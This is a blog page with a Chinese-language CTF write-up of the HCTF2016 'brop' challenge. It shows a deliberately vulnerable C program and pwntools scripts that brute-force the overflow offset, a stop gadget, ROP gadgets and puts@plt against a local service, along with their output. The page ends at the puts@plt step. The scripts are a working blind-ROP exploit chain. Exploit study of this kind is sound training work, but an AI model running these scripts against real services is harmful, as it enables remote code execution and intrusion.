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<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li><li class="chapter-item "><a href="../../posts/linux/run_x86_elf_in_x64_setup.html"><strong aria-hidden="true">1.6.</strong> run x86 elf in x64 setup</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> mac</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in鑱絊wift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> ios</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> objective_c</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/rust_logger_non-block.html"><strong aria-hidden="true">7.25.</strong> rust logger non-block</a></li><li class="chapter-item "><a href="../../posts/rust/rust_connect_sql_server_database.html"><strong aria-hidden="true">7.26.</strong> rust connect sql server database</a></li><li class="chapter-item "><a href="../../posts/rust/rust_websocket_implment.html"><strong aria-hidden="true">7.27.</strong> rust websocket implment</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> js</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> react</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> ctf</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.26.</strong> PWN_note</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html" class="active"><strong aria-hidden="true">19.27.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.28.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">19.29.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">19.30.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.31.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item "><a href="../../posts/ctf/kali_linux_tutorials.html"><strong aria-hidden="true">19.32.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.33.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.34.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.35.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.36.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_train_at_hangzhou.html"><strong aria-hidden="true">19.37.</strong> ctf train at hangzhou</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_common_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf common mindmap list</a></li><li class="chapter-item "><a href="../../posts/ctf/error_based_sql_injection.html"><strong aria-hidden="true">19.39.</strong> Error Based SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/urlfinder_tutorial.html"><strong aria-hidden="true">19.40.</strong> URLFinder Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/observer_ward_tutorial.html"><strong aria-hidden="true">19.41.</strong> observer_ward Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/mysql_udf_.html"><strong aria-hidden="true">19.42.</strong> MySQL UDF 提权</a></li><li class="chapter-item "><a href="../../posts/ctf/nuclei__tutorial.html"><strong aria-hidden="true">19.43.</strong> Nuclei Tutorial</a></li><li class="chapter-item "><a href="../../posts/ctf/2024_ctf_solution_thinking.html"><strong aria-hidden="true">19.44.</strong> 2024 ctf solution thinking</a></li><li class="chapter-item "><a href="../../posts/ctf/man_che_si_te_bian_ma.html"><strong aria-hidden="true">19.45.</strong> 曼彻斯特编码</a></li></ol></li></ol>
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<h1 id="pwn-hctf2016-brop"><a class="header" href="#pwn-hctf2016-brop">pwn HCTF2016 brop</a></h1>
<p>在无源码无elf的情况下实现pwn
漏洞代码如下(攻击者无法看到)</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);//读取用户输入的信息,这里存在栈溢出
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
</code></pre>
<p>编译</p>
<pre><code>gcc -z noexecstack -fno-stack-protector brop.c
</code></pre>
<p>checksec</p>
<pre><code>python
&gt;&gt;&gt; from pwn import *
&gt;&gt;&gt; print ELF('a.out').checksec()
[*] '/root/sploitfun/brop/a.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
</code></pre>
<p>架起服务</p>
<pre><code>ncat -vc ./a.out -kl 127.0.0.1 4000
</code></pre>
<h4 id="brop-原理及题目解析"><a class="header" href="#brop-原理及题目解析">BROP 原理及题目解析</a></h4>
<p>BROP 即 Blind ROP，需要我们在无法获得二进制文件的情况下，通过 ROP 进行远程攻击，劫持该应用程序的控制流，可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。
实现这一攻击有两个必要条件：</p>
<ul>
<li>目标程序存在一个栈溢出漏洞，并且我们知道怎样去触发它</li>
<li>目标进程在崩溃后会立即重启，并且重启后进程被加载的地址不变，这样即使目标机器开启了 ASLR 也没有影响。
查看offset(竟然用这种方法)</li>
</ul>
<pre><code>from pwn import *
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A" * i
buf_size = len(payload) - 1 #崩溃意味着我们覆盖到了返回地址，所以缓冲区应该是发送的字符数减一，即 buf(64)+ebp(8)=72
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
get_buffer_size()
</code></pre>
<p>结果</p>
<pre><code>[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
[*] buffer size: 72
</code></pre>
<h5 id="stop-gadget"><a class="header" href="#stop-gadget">stop gadget</a></h5>
<p>在寻找通用 gadget 之前，我们需要一个 stop gadget。一般情况下，当我们把返回地址覆盖后，程序有很大的几率会挂掉，因为所覆盖的地址可能并不是合法的，所以我们需要一个能够使程序正常返回的地址，称作 stop gadget，这一步至关重要。stop gadget 可能不止一个，这里我们之间返回找到的第一个好了：</p>
<pre><code>from pwn import *
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A" * buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
get_stop_addr(72)
</code></pre>
<p>最后结果</p>
<pre><code>[*] Closed connection to 127.0.0.1 port 4000
[*] stop address: 0x400565
</code></pre>
<h5 id="common-gadget"><a class="header" href="#common-gadget">common gadget</a></h5>
<p>（gadget address：0x4007ba‬）</p>
<pre><code>gdb-peda$ x/7i 0x4007ba
0x4007ba &lt;__libc_csu_init+90&gt;: pop rbx
0x4007bb &lt;__libc_csu_init+91&gt;: pop rbp
0x4007bc &lt;__libc_csu_init+92&gt;: pop r12
0x4007be &lt;__libc_csu_init+94&gt;: pop r13
0x4007c0 &lt;__libc_csu_init+96&gt;: pop r14
0x4007c2 &lt;__libc_csu_init+98&gt;: pop r15
0x4007c4 &lt;__libc_csu_init+100&gt;: ret
gdb-peda$ x/7i 0x4007bb
0x4007bb &lt;__libc_csu_init+91&gt;: pop rbp
0x4007bc &lt;__libc_csu_init+92&gt;: pop r12
0x4007be &lt;__libc_csu_init+94&gt;: pop r13
0x4007c0 &lt;__libc_csu_init+96&gt;: pop r14
0x4007c2 &lt;__libc_csu_init+98&gt;: pop r15
0x4007c4 &lt;__libc_csu_init+100&gt;: ret
0x4007c5: nop
gdb-peda$ x/7i 0x4007bc
0x4007bc &lt;__libc_csu_init+92&gt;: pop r12
0x4007be &lt;__libc_csu_init+94&gt;: pop r13
0x4007c0 &lt;__libc_csu_init+96&gt;: pop r14
0x4007c2 &lt;__libc_csu_init+98&gt;: pop r15
0x4007c4 &lt;__libc_csu_init+100&gt;: ret
</code></pre>
<p>有了 stop gadget，那些原本会导致程序崩溃的地址还是一样会导致崩溃，但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget，由于是 64 位程序，可以考虑使用通用 gadget</p>
<pre><code>#!/usr/bin/env python
from pwn import *
import time
gardet = 0x400700
# gardet = 0x4007ba
# gardet = 0x400565
while True:
# context.log_level('error')
time.sleep(0.5)
print gardet
try:
gardet+=1
payload = "A" * 72
payload += p64(gardet)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(0x400565)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline(timeout=0.2)
p.close()
print 'first done' + str(gardet)
try: # check
payload = "A" * 72
payload += p64(gardet)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline(timeout=0.2)
p.close()
print 'second error' + str(gardet)
except:
print 'second done!!!!!!!!!!!!!!!!!!!!!!!!' + str(gardet)
exit()
except Exception as e:
print e
</code></pre>
<p>结果</p>
<pre><code>[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
first done4196282
[+] Opening connection to 127.0.0.1 on port 4000: Done
second done!!!!!!!!!!!!!!!!!!!!!!!!4196282
</code></pre>
<p>有了通用 gadget，就可以得到 pop rdi; ret 的地址了，即 <code>gadget address + 9</code></p>
<h5 id="putsplt"><a class="header" href="#putsplt">puts@plt</a></h5>
<p>plt 表具有比较规整的结构，每一个表项都是 16 字节，而在每个表项的 6 字节偏移处，是该表项对应函数的解析路径，所以先得到 plt 地址，然后 dump 出内存，就可以找到 got 地址。
这里我们使用 puts 函数来 dump 内存，比起 write，它只需要一个参数，很方便：</p>
<pre><code>from pwn import *
def get_puts_plt(buf_size, stop_addr):
pop_rdi = 0x4007c3 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
get_puts_plt(72,0x400565)
</code></pre>
